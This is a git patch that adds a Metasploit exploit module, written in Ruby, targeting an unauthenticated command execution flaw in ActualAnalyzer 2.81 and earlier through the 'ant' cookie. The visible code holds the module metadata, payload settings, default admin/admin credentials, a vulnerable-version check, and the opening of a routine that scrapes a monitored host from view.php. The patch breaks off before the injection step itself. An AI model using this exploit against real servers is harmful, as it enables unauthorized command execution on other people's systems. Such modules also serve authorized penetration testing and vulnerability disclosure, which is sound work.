From 42744e56503be7975648f3890721634a9d4f0438 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Sat, 6 Dec 2014 19:09:20 +0000 Subject: [PATCH 1/7] Add actualanalyzer_ant_cookie_exec exploit --- .../webapp/actualanalyzer_ant_cookie_exec.rb | 242 ++++++++++++++++++ 1 file changed, 242 insertions(+) create mode 100644 modules/exploits/unix/webapp/actualanalyzer_ant_cookie_exec.rb diff --git a/modules/exploits/unix/webapp/actualanalyzer_ant_cookie_exec.rb b/modules/exploits/unix/webapp/actualanalyzer_ant_cookie_exec.rb new file mode 100644 index 0000000000..b4e3602d89 --- /dev/null +++ b/modules/exploits/unix/webapp/actualanalyzer_ant_cookie_exec.rb @@ -0,0 +1,242 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => "ActualAnalyzer 'ant' Cookie Command Execution", + 'Description' => %q{ + This module exploits a command execution vulnerability in + ActualAnalyzer version 2.81 and prior. + + The 'aa.php' file allows unauthenticated users to + execute arbitrary commands in the 'ant' cookie. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Benjamin Harris', # Discovery and exploit + 'Brendan Coles ' # Metasploit + ], + 'References' => + [ + ['EDB', '34450'], + ['OSVDB', '110601'] + ], + 'Payload' => + { + 'Space' => 4096, # HTTP cookie + 'DisableNops' => true, + 'BadChars' => "\x00" + }, + 'Arch' => ARCH_CMD, + 'Platform' => 'unix', + 'Targets' => + [ + # Tested on ActualAnalyzer versions 2.81 and 2.75 on Ubuntu + ['ActualAnalyzer <= 2.81', { 'auto' => true }] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Aug 28 2014', + 'DefaultTarget' => 0)) + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to ActualAnalyzer', '/lite/']), + OptString.new('USERNAME', [false, 'The username for ActualAnalyzer', 'admin']), + OptString.new('PASSWORD', [false, 'The password for ActualAnalyzer', 'admin']), + OptString.new('ANALYZER_HOST', [false, 'A hostname or IP monitored by ActualAnalyzer', '']) + ], self.class) + end + + # + # Checks if target is running ActualAnalyzer <= 2.81 + # + def check + # check for aa.php + res = send_request_raw('uri' => normalize_uri(target_uri.path, 'aa.php')) + if !res + vprint_error("#{peer} - Connection failed") + return Exploit::CheckCode::Unknown + elsif res.code == 404 + vprint_error("#{peer} - Could not find aa.php") + return Exploit::CheckCode::Safe + elsif res.code == 200 && res.body =~ /ActualAnalyzer Lite/ && res.body =~ /Admin area<\/title>/ + vprint_error("#{peer} - ActualAnalyzer is not installed. Try installing first.") + return Exploit::CheckCode::Detected + end + # check version + res = send_request_raw('uri' => normalize_uri(target_uri.path, 'view.php')) + if !res + vprint_error("#{peer} - Connection failed") + return Exploit::CheckCode::Unknown + elsif res.code == 200 && res.body =~ /title="ActualAnalyzer Lite \(free\) ([\d\.]+)"/ + version = $1 + vprint_status("#{peer} - Found version: #{version}") + return Exploit::CheckCode::Vulnerable if version =~ /^2\.(81|80|[0-7])/ + return Exploit::CheckCode::Detected + elsif res.code == 200 && res.body =~ /ActualAnalyzer Lite/ + return Exploit::CheckCode::Detected + end + Exploit::CheckCode::Safe + end + + # + # Try to retrieve a valid analytics host from view.php unauthenticated + # + def get_analytics_host_view + analytics_host = nil + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'view.php'), + 'vars_post' => { + 'id_h' => '', + 'listp' => '', + 'act_h' => 'vis_int', + 'oldact' => 'vis_grpg', + 'tint_h' => '', + 'extact_h' => '', + 'home_pos' => '', + 'act' => 'vis_grpg', + 'tint' => 'total', + 'grpg' => '201', + 'cp_vst' => 'on', + 'cp_hst' => 'on', + 'cp_htst' => 'on', + 'cp_reps' => 'y', + 'tab_sort' => '1_1' + } + ) + if !res + vprint_error("#{peer} - Connection failed") + elsif res.body =~ /